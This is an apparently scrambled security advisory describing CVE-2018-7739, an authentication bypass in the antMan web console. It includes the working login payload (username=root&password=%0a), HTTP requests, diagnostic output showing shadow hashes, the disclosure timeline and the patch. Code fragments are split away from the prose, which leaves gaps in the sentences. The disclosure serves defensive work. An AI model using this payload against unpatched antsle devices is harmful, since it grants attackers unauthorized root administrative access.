Issue Summary

root

username=>&password=%0a

Vendor Background

antMan versions <= 0.9.0c contain a critical authentication defect, allowing an unauthenticated attacker to obtainpermissions within the antMan web management console.TL;DR -== root access

TechRepublic describes the antsle as…

A private cloud server, designed for developers, that can serve businesses of all sizes. With this piece of hardware, you can roll out servers, containers, you name it—all from a user-friendly web-based GUI.

The web-based GUI is antMan, responsible for provisioning and maintaining your virtual servers and containers.

Walk-through

How antMan Authenticates

POST

/login

ProcessBuilder

root

antsle-auth

The functional action to take ( login or chpass ) username password

getent shadow

salt = $( getent shadow $username | cut -d$ -f3 ) epassword = $( getent shadow $username | cut -d: -f2 )

match = $( python -c 'import crypt; print crypt.crypt("' " ${password} " '", " $6 $' ${salt} '")' )

root

if [ ${match} == ${epassword} ] then echo "Password matches" exit 0 else echo "Password doesn't match" exit 1 fi

antsle-auth

root

antsle

POST /login HTTP/1.1 Host: 10.1.1.7:3000 [snip] Cookie: ring-session=67227f68-4b01-4510-b161-d3cd162ad470 username=root&password=antsle

user-supplied username: root user-supplied password: antsle salt from shadow: yPWFS3aj hash from shadow: $6$yPWFS3aj$zje.YjpD0hXbhab4lxKdiGCHMVzAkXs/psEQGpFFqG7epnmFtU6ShGNu.sYhywQJmFxoQTWJIG4x7h8CUC3Si1 hash from python: $6$yPWFS3aj$zje.YjpD0hXbhab4lxKdiGCHMVzAkXs/psEQGpFFqG7epnmFtU6ShGNu.sYhywQJmFxoQTWJIG4x7h8CUC3Si1

POST /login HTTP/1.1 Host: 10.1.1.7:3000 [snip] Cookie: ring-session=67227f68-4b01-4510-b161-d3cd162ad470 username=root&password=not-antsle

user-supplied username: root user-supplied password: not-antsle salt from shadow: yPWFS3aj hash from shadow: $6$yPWFS3aj$zje.YjpD0hXbhab4lxKdiGCHMVzAkXs/psEQGpFFqG7epnmFtU6ShGNu.sYhywQJmFxoQTWJIG4x7h8CUC3Si1 hash from python: $6$yPWFS3aj$8JOon7H.49kEe8VzaOhwFP2/ExNV0hQNRFaHYo3IHdlAlHL0vt5/qwU4OmR6GuJhz1YJNDn4OdkATRKRCpWv41

Why This is Vulnerable

username

password

antsle-auth

antsle-auth

if

if [ ${match} == ${epassword} ]

match

epassword

match

epassword

root

getent shadow

Exploitation

username

password

match

epassword

if

if [ ${match} == ${epassword} ]

getent shadow

salt = $( getent shadow $username | cut -d$ -f3 ) epassword = $( getent shadow $username | cut -d: -f2 )

getent shadow

root@myantsle:~ root@myantsle:~ root: $6 $yPWFS3aj $zje .YjpD0hXbhab4lxKdiGCHMVzAkXs/psEQGpFFqG7epnmFtU6ShGNu.sYhywQJmFxoQTWJIG4x7h8CUC3Si1:17581:0:::::

root@myantsle:~ root@myantsle:~ root@myantsle:~

>

antsle-auth

POST /login HTTP/1.1 Host: 10.1.1.7:3000 [snip] Cookie: ring-session=67227f68-4b01-4510-b161-d3cd162ad470 username=>&password=dontknow

user-supplied username: > user-supplied password: dontknow salt from shadow: hash from shadow: hash from python: $6$$Cv/81wXnKj1Rv.qnvdqGmosXNyLBBu.B9EId3IPxUSw/4J4gLYlsR/uV1tyHx7YaikDy6MP2M9Q5rdQYoyRPn0

hash from shadow

epassword

if

true

%0a

EOL while scanning string literal

match

root

%0a

POST /login HTTP/1.1 Host: 10.1.1.7:3000 [snip] Cookie: ring-session=67227f68-4b01-4510-b161-d3cd162ad470 username=root&password=%0a

user-supplied username: root user-supplied password: salt from shadow: yPWFS3aj hash from shadow: $6$yPWFS3aj$zje.YjpD0hXbhab4lxKdiGCHMVzAkXs/psEQGpFFqG7epnmFtU6ShGNu.sYhywQJmFxoQTWJIG4x7h8CUC3Si1 hash from python:

match

if

true

root

username

password

>

%0a

Reporting and Remediation

Timeline

Patch

antsle-auth

match = $( python -c 'import crypt;print crypt.crypt("' " ${password} " '", " $6 $' ${salt} '")' ) if [ $? -ne 0 ] then echo "Password doesn't match" exit 1 fi

Acknowledgments

The antMan authentication implementation obtains user-supplied username and password parameters from arequest issued to. Next, antMan utilizes Java’sclass to invoke, as, a bash script calledThis bash script takes in three arguments:The flow-control of the script is to first make twocalls to obtain the salt and hash stored in /etc/shadow.It then executes a python command to compute a hash based on the salt from /etc/shadow and the user-supplied password.If the hash from /etc/shadow matches the hash computed by python, the user is authenticated asto antMan. If they do not, the user is rejected.Adding some diagnostic statements into, we can see the variable assignment and computed hashes during a valid login attempt with the usernameand the default password ofIn this case, we have successfully authenticated to antMan because the hash pulled from /etc/shadow matches the hash generated by python with the user-supplied password.For the sake of completeness, here we see a login attempt with the wrong password, showing the hash mismatch and a rejected authentication attempt.This implementation is flawed in that unchecked/unsanitized user input, in the form of theandparameters, will be passed directly to thebash script. This condition is exacerbated by the fact that there is no error handling or inspection of any return values within thescript.This matters because an attacker does not need to attempt to brute force the password or attempt a hash collision in order to pass thistest:We just need to create a condition whereandare equal, regardless of what that value actually is (e.g., it doesn’t need to be a hash).How can we forceandto be equal without knowing the truepassword? Could we get thecall to return an unanticipated value? Could we get the python command to fail?In order to exploit this vulnerability and gain access to antMan without a valid password, we find that if we pass in certain values for theandfields, we can generate return values the developer did not anticipate. In this proof of concept, we’ll force bothandto return empty, allowing us to pass thistest and be granted access to antMan.First, we need to look at thecall.Thecall will return the content from /etc/shadow when a valid username is passed in as an argument.When a "bad" character is passed in, look what happens. Nothing is returned, which we may be able to use to our advantage.Let’s try to authenticate with ain the username and see what our diagnostic statements inoutput.Look at that. Theoutput is empty. This means we have now madeempty. Now we just need to figure out how to get the python command to return empty so thetest can returnTurns out, we can pass in a URL-encoded linefeedin the password field, which will result in the python script returning anerror, which gets swallowed, resulting inbeing empty.Let’s try to authenticate with the usernameand a password ofand see what our diagnostics return.Great! We now have python erroring out, makingempty.It appears we can now force, without an actual password, thetest to return, granting usaccess to antMan. Let’s confirm this in antMan directly.Setup burp and intercept the login attempt.Editandtoand, respectively, and forward the request.Success! We have authenticated to antMan without a legitimate password.We are now free to create antlets, delete antlets, modify network interfaces and more, all with administrative privileges.2/19/2018 - Issue reported to antsle team2/23/2018 - Vulnerability confirmed by antsle2/28/2018 - 0.9.1a Patch released to the public3/6/2018 - CVE-2018-7739 assigned by MITREThescript was updated to include a check to confirm if the username provided is a valid user as well as return value inspection on the python command call. A snippet from the python return value check is as follows.It was a pleasure working with the antsle team on this vulnerability. I appreciated the quick feedback and thorough responses on this issue.